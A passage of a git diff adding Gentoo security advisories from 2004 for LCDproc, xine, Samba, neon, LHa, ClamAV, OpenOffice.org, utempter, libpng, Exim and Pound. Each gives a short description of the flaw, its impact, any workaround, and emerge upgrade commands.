+  <title>Buffer overflows and format string vulnerabilities in LCDproc</title>
+  <synopsis>
+    Multiple remote vulnerabilities have been found in the LCDd server,
+    allowing execution of arbitrary code with the rights of the LCDd user.
+  </synopsis>
+  <product type="ebuild">lcdproc</product>
+  <announced>April 27, 2004</announced>
+  <revised>April 27, 2004: 01</revised>
+  <bug>47340</bug>
+  <access>remote </access>
+  <affected>
+    <package name="app-misc/lcdproc" auto="yes" arch="*">
+      <unaffected range="ge">0.4.5</unaffected>
+      <vulnerable range="le">0.4.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LCDproc is a program that displays various bits of real-time system
+    information on an LCD. It makes use of a local server (LCDd) to collect
+    information to display on the LCD.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to insufficient checking of client-supplied data, the LCDd server is
+    susceptible to two buffer overflows and one string buffer vulnerability. If
+    the server is configured to listen on all network interfaces (see the Bind
+    parameter in LCDproc configuration), these vulnerabilities can be triggered
+    remotely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities allow an attacker to execute code with the rights of
+    the user running the LCDproc server. By default, this is the "nobody" user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    LCDproc users should upgrade to version 0.4.5 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-misc/lcdproc-0.4.5"
+    # emerge ">=app-misc/lcdproc-0.4.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.omnipotent.net/pipermail/lcdproc/2004-April/008884.html">LCDproc advisory</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-20.xml b/xml/htdocs/security/en/glsa/glsa-200404-20.xml
new file mode 100644
index 00000000..8944b860
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-20.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-20">
+  <title>Multiple vulnerabilities in xine</title>
+  <synopsis>
+    Several vulnerabilities have been found in xine-ui and xine-lib,
+    potentially allowing an attacker to overwrite files with the rights of the
+    user.
+  </synopsis>
+  <product type="ebuild">xine</product>
+  <announced>April 27, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>45448</bug>
+  <bug>48107</bug>
+  <bug>48108</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/xine-ui" auto="yes" arch="*">
+      <unaffected range="ge">0.9.23-r2</unaffected>
+      <vulnerable range="le">0.9.23-r1</vulnerable>
+    </package>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1_rc3-r3</unaffected>
+      <vulnerable range="le">1_rc3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine is a multimedia player allowing to play back CDs, DVDs, and VCDs
+    and decoding multimedia files like AVI, MOV, WMV, and MP3 from local
+    disk drives, and displays multimedia streamed over the Internet. It is
+    available in Gentoo as a reusable library (xine-lib) with a standard
+    user interface (xine-ui).
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in xine-ui and xine-lib. By opening
+    a malicious MRL in any xine-lib based media player, an attacker can
+    write arbitrary content to an arbitrary file, only restricted by the
+    permissions of the user running the application. By opening a malicious
+    playlist in the xine-ui media player, an attacker can write arbitrary
+    content to an arbitrary file, only restricted by the permissions of the
+    user running xine-ui. Finally, a temporary file is created in an
+    insecure manner by the xine-check and xine-bugreport scripts,
+    potentially allowing a local attacker to use a symlink attack.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These three vulnerabilities may alow an attacker to corrupt system
+    files, thus potentially leading to a Denial of Service. It is also
+    theoretically possible, though very unlikely, to use these
+    vulnerabilities to elevate the privileges of the attacker.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to
+    upgrade to the latest available versions of xine-ui and xine-lib.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of xine-ui or another xine-based player should upgrade to the
+    latest stable versions:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-video/xine-ui-0.9.23-r2&quot;
+    # emerge &quot;&gt;=media-video/xine-ui-0.9.23-r2&quot;
+    
+    # emerge -pv &quot;&gt;=media-libs/xine-lib-1_rc3-r3&quot;
+    # emerge &quot;&gt;=media-libs/xine-lib-1_rc3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://xinehq.de/index.php/security">Xine Security Advisories</uri>
+    <uri link="http://nettwerked.mg2.org/advisories/xinebug">xine-bugreport and xine-check vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0372">CVE-2004-0372</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1951">CVE-2004-1951</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-21.xml b/xml/htdocs/security/en/glsa/glsa-200404-21.xml
new file mode 100644
index 00000000..cd05b6be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-21.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-21">
+  <title>Multiple Vulnerabilities in Samba</title>
+  <synopsis>
+    There is a bug in smbfs which may allow local users to gain root via a
+    setuid file on a mounted Samba share. Also, there is a tmpfile symlink
+    vulnerability in the smbprint script distributed with Samba.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>April 29, 2004</announced>
+  <revised>April 29, 2004: 01</revised>
+  <bug>41800</bug>
+  <bug>45965</bug>
+  <access>local </access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.2a-r2</unaffected>
+      <vulnerable range="le">3.0.2a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a package which allows UNIX systems to act as file servers for
+    Windows computers. It also allows UNIX systems to mount shares exported by
+    a Samba/CIFS/Windows server. smbmount is a program in the Samba package
+    which allows normal users on a UNIX system to mount remote shares. smbprint
+    is an example script included in the Samba package which can be used to
+    facilitate network printing.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been discovered in Samba. The first vulnerability
+    allows a local user who has access to the smbmount command to gain root. An
+    attacker could place a setuid-root binary on a Samba share/server he or she
+    controls, and then use the smbmount command to mount the share on the
+    target UNIX box. The remote Samba server must support UNIX extensions for
+    this to work. This has been fixed in version 3.0.2a.
+    </p>
+    <p>
+    The second vulnerability is in the smbprint script. By creating a symlink
+    from /tmp/smbprint.log, an attacker could cause the smbprint script to
+    write to an arbitrary file on the system. This has been fixed in version
+    3.0.2a-r2.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Local users with access to the smbmount command may gain root access. Also,
+    arbitrary files may be overwritten using the smbprint script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    To workaround the setuid bug, remove the setuid bits from the
+    /usr/bin/smbmnt, /usr/bin/smbumount and /usr/bin/mount.cifs binaries.
+    However, please note that this workaround will prevent ordinary users from
+    mounting remote SMB and CIFS shares.
+    </p>
+    <p>
+    To work around the smbprint vulnerability, set "debug=no" in the smbprint
+    configuration.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should update to the latest version of the Samba package.
+    </p>
+    <p>
+    The following commands will perform the upgrade:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-fs/samba-3.0.2a-r2"
+    # emerge ">=net-fs/samba-3.0.2a-r2"</code>
+    <p>
+    Those who are using Samba's password database also need to run the
+    following command:
+    </p>
+    <code>
+    # pdbedit --force-initialized-passwords</code>
+    <p>
+    Those using LDAP for Samba passwords also need to check the sambaPwdLastSet
+    attribute on each account, and ensure it is not 0.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/353222/2004-04-09/2004-04-15/1">BugTraq Thread: Samba 3.x + kernel 2.6.x local root vulnerability</uri>
+    <uri link="http://seclists.org/lists/bugtraq/2004/Mar/0189.html">BugTraq: smbprint Vulnerability</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-01.xml b/xml/htdocs/security/en/glsa/glsa-200405-01.xml
new file mode 100644
index 00000000..e74351d1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-01.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-01">
+  <title>Multiple format string vulnerabilities in neon 0.24.4 and earlier</title>
+  <synopsis>
+    There are multiple format string vulnerabilities in libneon which may allow
+    a malicious WebDAV server to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">neon</product>
+  <announced>May 09, 2004</announced>
+  <revised>May 09, 2004: 01</revised>
+  <bug>48448</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-misc/neon" auto="yes" arch="*">
+      <unaffected range="ge">0.24.5</unaffected>
+      <vulnerable range="le">0.24.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    neon provides an HTTP and WebDAV client library.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are multiple format string vulnerabilities in libneon which may allow
+    a malicious WebDAV server to execute arbitrary code under the context of
+    the process using libneon.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to execute arbitrary code under the context of the
+    process using libneon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Neon users should upgrade to version 0.24.5 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/neon-0.24.5"
+    # emerge ">=net-misc/neon-0.24.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0179">CVE</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-02.xml b/xml/htdocs/security/en/glsa/glsa-200405-02.xml
new file mode 100644
index 00000000..0a7c999c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-02.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-02">
+  <title>Multiple vulnerabilities in LHa</title>
+  <synopsis>
+    Two stack-based buffer overflows and two directory traversal problems have
+    been found in LHa. These vulnerabilities can be used to execute arbitrary
+    code or as a denial of service attack.
+  </synopsis>
+  <product type="ebuild">lha</product>
+  <announced>May 09, 2004</announced>
+  <revised>October 20, 2006: 02</revised>
+  <bug>49961</bug>
+  <access>remote </access>
+  <affected>
+    <package name="app-arch/lha" auto="yes" arch="*">
+      <unaffected range="rge">114i-r2</unaffected>
+      <vulnerable range="rle">114i-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LHa is a console-based program for packing and unpacking LHarc archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar found two stack overflows and two directory traversal
+    vulnerabilities in LHa version 1.14 and 1.17. A stack overflow occurs when
+    testing or extracting archives containing long file or directory names.
+    Furthermore, LHa doesn't contain sufficient protection against relative or
+    absolute archive paths.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The stack overflows can be exploited to execute arbitrary code with the
+    rights of the user testing or extracting the archive. The directory
+    traversal vulnerabilities can be used to overwrite files in the filesystem
+    with the rights of the user extracting the archive, potentially leading to
+    denial of service or privilege escalation. Since LHa is often interfaced to
+    other software like an email virus scanner, this attack can be used
+    remotely.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of LHa.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of LHa should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-arch/lha-114i-r2"
+    # emerge ">=app-arch/lha-114i-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0234">CAN-2004-0234</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0235">CAN-2004-0235</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-03.xml b/xml/htdocs/security/en/glsa/glsa-200405-03.xml
new file mode 100644
index 00000000..06008e60
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-03.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-03">
+  <title>ClamAV VirusEvent parameter vulnerability</title>
+  <synopsis>
+    With a specific configuration (using %f in the VirusEvent parameter), Clam
+    AntiVirus is vulnerable to an attack allowing execution of arbitrary
+    commands.
+  </synopsis>
+  <product type="ebuild">ClamAV</product>
+  <announced>May 11, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>46264</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.70</unaffected>
+      <vulnerable range="lt">0.70</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    From <uri link="http://www.clamav.net/">http://www.clamav.net/</uri> :
+    </p>
+    <p>
+    "Clam AntiVirus is a GPL anti-virus toolkit for UNIX. The main purpose
+    of this software is the integration with mail servers (attachment
+    scanning). The package provides a flexible and scalable multi-threaded
+    daemon, a command line scanner, and a tool for automatic updating via
+    Internet. The programs are based on a shared library distributed with
+    the Clam AntiVirus package, which you can use with your own software.
+    Most importantly, the virus database is kept up to date."
+    </p>
+  </background>
+  <description>
+    <p>
+    The VirusEvent parameter in the clamav.conf configuration file allows
+    to specify a system command to run whenever a virus is found. This
+    system command can make use of the "%f" parameter which is replaced by
+    the name of the file infected. The name of the file scanned is under
+    control of the attacker and is not sufficiently checked. Version 0.70
+    of clamav disables the use of the "%f" parameter.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Sending a virus with a malicious file name can result in execution of
+    arbirary system commands with the rights of the antivirus process.
+    Since clamav is often associated to mail servers for email scanning,
+    this attack can be used remotely.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You should not use the "%f" parameter in your VirusEvent configuration.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of Clam AntiVirus should upgrade to the latest stable
+    version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-antivirus/clamav-0.70&quot;
+    # emerge &quot;&gt;=app-antivirus/clamav-0.70&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1876">CVE-2004-1876</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-04.xml b/xml/htdocs/security/en/glsa/glsa-200405-04.xml
new file mode 100644
index 00000000..fedfce51
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-04.xml
@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-04">
+  <title>OpenOffice.org vulnerability when using DAV servers</title>
+  <synopsis>
+    Several format string vulnerabilities are present in the Neon library
+    included in OpenOffice.org, allowing remote execution of arbitrary code
+    when connected to an untrusted WebDAV server.
+  </synopsis>
+  <product type="ebuild">openoffice</product>
+  <announced>May 11, 2004</announced>
+  <revised>October 27, 2004: 02</revised>
+  <bug>47926</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="x86">
+      <unaffected range="ge">1.1.1-r1</unaffected>
+      <vulnerable range="le">1.1.1</vulnerable>
+    </package>
+    <package name="app-office/openoffice" auto="yes" arch="ppc">
+      <unaffected range="ge">1.0.3-r2</unaffected>
+      <vulnerable range="le">1.0.3-r1</vulnerable>
+    </package>
+    <package name="app-office/openoffice" auto="yes" arch="sparc">
+      <unaffected range="ge">1.1.0-r4</unaffected>
+      <vulnerable range="le">1.1.0-r3</vulnerable>
+    </package>
+    <package name="app-office/openoffice-ximian" auto="yes" arch="*">
+      <unaffected range="ge">1.1.51-r1</unaffected>
+      <vulnerable range="le">1.1.51</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+    <package name="app-office/openoffice-ximian-bin" auto="no" arch="*">
+      <vulnerable range="le">1.1.52</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an office productivity suite, including word processing,
+    spreadsheets, presentations, drawings, data charting, formula editing, and
+    file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    OpenOffice.org includes code from the Neon library in functions related to
+    publication on WebDAV servers. This library is vulnerable to several format
+    string attacks.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    If you use the WebDAV publication and connect to a malicious WebDAV server,
+    this server can exploit these vulnerabilities to execute arbitrary code
+    with the rights of the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround, you should not use the WebDAV publication facilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    There is no Ximian OpenOffice.org binary version including the fix yet. All
+    users of the openoffice-ximian-bin package making use of the WebDAV
+    openoffice-ximian source-based package.
+    </p>
+    <p>
+    openoffice users on the x86 architecture should:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-1.1.1-r1"
+    # emerge ">=app-office/openoffice-1.1.1-r1"</code>
+    <p>
+    openoffice users on the sparc architecture should:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-1.1.0-r3"
+    # emerge ">=app-office/openoffice-1.1.0-r3"</code>
+    <p>
+    openoffice users on the ppc architecture should:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-1.0.3-r1"
+    # emerge ">=app-office/openoffice-1.0.3-r1"</code>
+    <p>
+    openoffice-ximian users should:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-ximian-1.1.51-r1"
+    # emerge ">=app-office/openoffice-ximian-1.1.51-r1"</code>
+    <p>
+    openoffice-bin users should:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-bin-1.1.2"
+    # emerge ">=app-office/openoffice-bin-1.1.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0179">CAN-2004-0179</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200405-01.xml">Neon vulnerabilities (GLSA 200405-01)</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-05.xml b/xml/htdocs/security/en/glsa/glsa-200405-05.xml
new file mode 100644
index 00000000..620a84e6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-05.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-05">
+  <title>Utempter symlink vulnerability</title>
+  <synopsis>
+    Utempter contains a vulnerability that may allow local users to overwrite
+    arbitrary files via a symlink attack.
+  </synopsis>
+  <product type="ebuild">utempter</product>
+  <announced>May 13, 2004</announced>
+  <revised>May 13, 2004: 01</revised>
+  <bug>49536</bug>
+  <access>local </access>
+  <affected>
+    <package name="sys-apps/utempter" auto="yes" arch="*">
+      <unaffected range="ge">0.5.5.4</unaffected>
+      <vulnerable range="lt">0.5.5.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Utempter is an application that allows non-privileged apps to write utmp
+    (login) info, which otherwise needs root access.
+    </p>
+  </background>
+  <description>
+    <p>
+    Utempter contains a vulnerability that may allow local users to overwrite
+    arbitrary files via a symlink attack.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This vulnerability may allow arbitrary files to be overwritten with root
+    privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of utempter.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of utempter should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=sys-apps/utempter-0.5.5.4"
+    # emerge ">=sys-apps/utempter-0.5.5.4"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0233">CAN-2004-0233</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-06.xml b/xml/htdocs/security/en/glsa/glsa-200405-06.xml
new file mode 100644
index 00000000..85926a9b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-06.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-06">
+  <title>libpng denial of service vulnerability</title>
+  <synopsis>
+    A bug in the libpng library can be abused to crash programs making use of
+    that library to decode PNG images.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>May 14, 2004</announced>
+  <revised>May 14, 2004: 01</revised>
+  <bug>49887</bug>
+  <access>remote </access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.5-r5</unaffected>
+      <vulnerable range="le">1.2.5-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a standard library used to process PNG (Portable Network
+    Graphics) images.
+    </p>
+  </background>
+  <description>
+    <p>
+    libpng provides two functions (png_chunk_error and png_chunk_warning) for
+    default error and warning messages handling. These functions do not perform
+    proper bounds checking on the provided message, which is limited to 64
+    bytes. Programs linked against this library may crash when handling a
+    malicious PNG image.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This vulnerability could be used to crash various programs using the libpng
+    library, potentially resulting in a denial of service attack on vulnerable
+    daemon processes.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of libpng.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of libpng should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/libpng-1.2.5-r5"
+    # emerge ">=media-libs/libpng-1.2.5-r5"</code>
+    <p>
+    You should also run revdep-rebuild to rebuild any packages that depend on
+    older versions of libpng :
+    </p>
+    <code>
+    # revdep-rebuild</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0421">CAN-2004-0421</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-07.xml b/xml/htdocs/security/en/glsa/glsa-200405-07.xml
new file mode 100644
index 00000000..c224178f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-07">
+  <title>Exim verify=header_syntax buffer overflow</title>
+  <synopsis>
+    When the verify=header_syntax option is set, there is a buffer overflow in
+    Exim that allows remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Exim</product>
+  <announced>May 14, 2004</announced>
+  <revised>May 14, 2004: 01</revised>
+  <bug>50217</bug>
+  <access>remote </access>
+  <affected>
+    <package name="mail-mta/exim" auto="yes" arch="*">
+      <unaffected range="ge">4.33-r1</unaffected>
+      <vulnerable range="le">4.33</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Exim is an highly configurable message transfer agent (MTA) developed at
+    the University of Cambridge.
+    </p>
+  </background>
+  <description>
+    <p>
+    When the option "verify = header_syntax" is used in an ACL in the
+    configuration file, Exim is vulnerable to a buffer overflow attack that can
+    be triggered remotely by sending malicious headers in an email message.
+    Note that this option is not enabled in Exim's default configuration file.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This vulnerability can be exploited to trigger a denial of service attack
+    and potentially execute arbitrary code with the rights of the user used by
+    the Exim daemon (by default this is the "mail" user in Gentoo Linux).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Make sure the verify=header_syntax option is not used in your exim.conf
+    file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of Exim should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=mail-mta/exim-4.33-r1"
+    # emerge ">=mail-mta/exim-4.33-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400">CAN-2004-0400</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-08.xml b/xml/htdocs/security/en/glsa/glsa-200405-08.xml
new file mode 100644
index 00000000..4de9c02c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-08.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-08">
+  <title>Pound format string vulnerability</title>
+  <synopsis>
+    There is a format string flaw in Pound, allowing remote execution of
+    arbitrary code with the rights of the Pound process.
+  </synopsis>
+  <product type="ebuild">pound</product>
+  <announced>May 18, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>50421</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/pound" auto="yes" arch="*">
+      <unaffected range="ge">1.6</unaffected>
+      <vulnerable range="le">1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pound is a reverse proxy, load balancer and HTTPS front-end. It allows
+    to distribute the load on several web servers and offers a SSL wrapper
+    for web servers that do not support SSL directly.
+    </p>
+  </background>
+  <description>
+    <p>
+    A format string flaw in the processing of syslog messages was
+    discovered and corrected in Pound.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This flaw may allow remote execution of arbitrary code with the rights
+    of the Pound daemon process. By default, Gentoo uses the "nobody" user
+    to run the Pound daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to
+    upgrade to the latest available version of Pound.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of Pound should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-servers/pound-1.6&quot;
+    # emerge &quot;&gt;=www-servers/pound-1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.apsis.ch/pound/pound_list/archive/2003/2003-12/1070234315000#1070234315000">Pound announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2026">CVE-2004-2026</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
